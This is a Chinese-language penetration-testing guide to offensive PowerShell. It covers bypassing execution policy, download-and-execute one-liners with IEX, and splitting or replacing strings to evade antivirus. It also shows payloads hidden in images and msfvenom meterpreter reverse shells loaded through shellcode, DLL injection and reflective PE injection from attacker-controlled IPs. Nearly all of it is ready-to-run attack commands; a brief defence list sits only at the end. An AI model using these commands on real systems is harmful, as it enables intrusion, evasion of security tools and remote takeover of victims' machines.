渗透技巧之Powershell实战思路
字数 2019 2025-08-18 11:39:15
PowerShell渗透技巧实战指南
一、PowerShell基础
1.1 PowerShell简介
PowerShell是Windows平台上功能强大的脚本环境,具有以下特点:
- 类似Linux的bash,但支持.NET框架
- 可在不写入磁盘的情况下执行命令
- 能够逃避Anti-Virus检测
- 广泛应用于渗透测试领域
1.2 基本语法
- 管道符(|):将一个命令的输出作为另一个命令的输入
- 分号(;):用于连续执行系统命令
- 调用操作符(&):执行命令、脚本或函数
- 引号规则:
- 双引号可以替换内部变量
- 双引号里的双引号、单引号里的单引号需要写两遍才能输出
1.3 常用命令
| 命令 | 功能 |
|---|---|
Get-Alias -name dir |
查看别名 |
Ls env |
查看当前环境变量 |
Get-ExecutionPolicy |
查看当前执行策略 |
Set-ExecutionPolicy |
设置执行策略 |
Get-Host |
查看PowerShell版本 |
Get-Content test.txt |
查看文件内容 |
Set-Content test.txt -Value "hello,word" |
设置文件内容 |
Get-Process |
查看当前服务列表 |
Get-Location |
获取当前位置 |
Get-WmiObject -Class Win32_ComputerSystem | Select-object -ExpandProperty UserName |
查看登录到物理机的用户 |
二、执行策略与绕过方法
2.1 PowerShell执行策略
PowerShell有六种执行策略:
- Unrestricted:权限最高,可不受限制执行任意脚本
- Restricted:默认策略,不允许执行任何脚本
- AllSigned:所有脚本必须经过签名才能运行
- RemoteSigned:本地脚本无限制,网络脚本必须签名
- Bypass:没有任何限制和提示
- Undefined:没有设置脚本策略
2.2 绕过执行策略的方法
-
管道符读取执行
Get-Content 1.ps1 | powershell -NoProfile - -
远程下载并通过IEX运行
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')" -
Bypass执行策略
powershell -ExecutionPolicy bypass -File ./a.ps1 -
Unrestricted执行策略
powershell -ExecutionPolicy unrestricted -File ./a.ps1
2.3 常用参数说明
Invoke-Expression(IEX):将字符串作为命令执行-WindowStyle Hidden(-w Hidden):隐藏窗口-NonInteractive(-NonI):非交互模式-NoProfile(-NoP):不加载当前用户配置文件-Noexit(-Noe):执行后不退出Shell-EncodedCommand(-enc):接受base64编码的字符串
三、绕过杀毒软件(AV)的技巧
3.1 基本方法
将绕过执行策略的命令保存为.bat文件:
powershell -ExecutionPolicy bypass -File ./a.ps1
3.2 IEX命令拆分法
$c1='powershell -c IEX'; $c2='(New-Object Net.WebClient).Downlo'; $c3='adString(''http://192.168.197.192/a.ps1'')'; IEX ($c1,$c2,$c3)
3.3 Replace替换函数法
$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.197.192/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)
3.4 HTTP字符串分割法
$a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://192.168.197.192/a.ps1''))';IEX ($a+$b)
3.5 其他语言执行
可在C、VBS、HTA、Python等语言中执行PowerShell系统命令,达到bypass效果。
四、高级利用技术
4.1 图片隐写执行PowerShell
使用Invoke-PSImage工具:
- 准备一张足够大的图片(如1900*1200)
- 执行以下命令:
Import-Module .\Invoke-PSImage.ps1 Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web - 将生成的reverse_shell.png放入web目录
- 通过PowerShell执行图片中的payload
4.2 加载Shellcode
- 生成Shellcode:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test - 目标机执行:
IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.72.164/test") Invoke-Shellcode -Shellcode ($buf) -Force
4.3 加载DLL
- 生成DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll - 目标机执行:
IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1") Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden Invoke-DllInjection -ProcessID [notepad_PID] -Dll c:\test.dll
4.4 加载EXE
- 生成EXE:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.195 lport=4444 -f exe > /var/www/html/test.exe - 目标机执行:
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe -ForceASLR"
五、实用工具与资源
-
Invoke-Obfuscation:PowerShell编码和混淆框架
- GitHub: https://github.com/danielbohannon/Invoke-Obfuscation
-
Invoke-PSImage:通过图片执行PowerShell的工具
- GitHub: https://github.com/peewpw/Invoke-PSImage
-
PowerSploit:功能强大的PowerShell渗透测试框架
- 包含Invoke-Shellcode、Invoke-DllInjection等实用脚本
六、防御建议
- 限制PowerShell执行策略
- 监控异常PowerShell活动
- 禁用不必要的PowerShell功能
- 实施脚本签名验证
- 保持杀毒软件和EDR解决方案更新
- 监控网络流量中的可疑PowerShell命令
通过掌握这些PowerShell渗透技巧,安全测试人员可以更有效地进行渗透测试,同时也提醒防御者加强相关防护措施。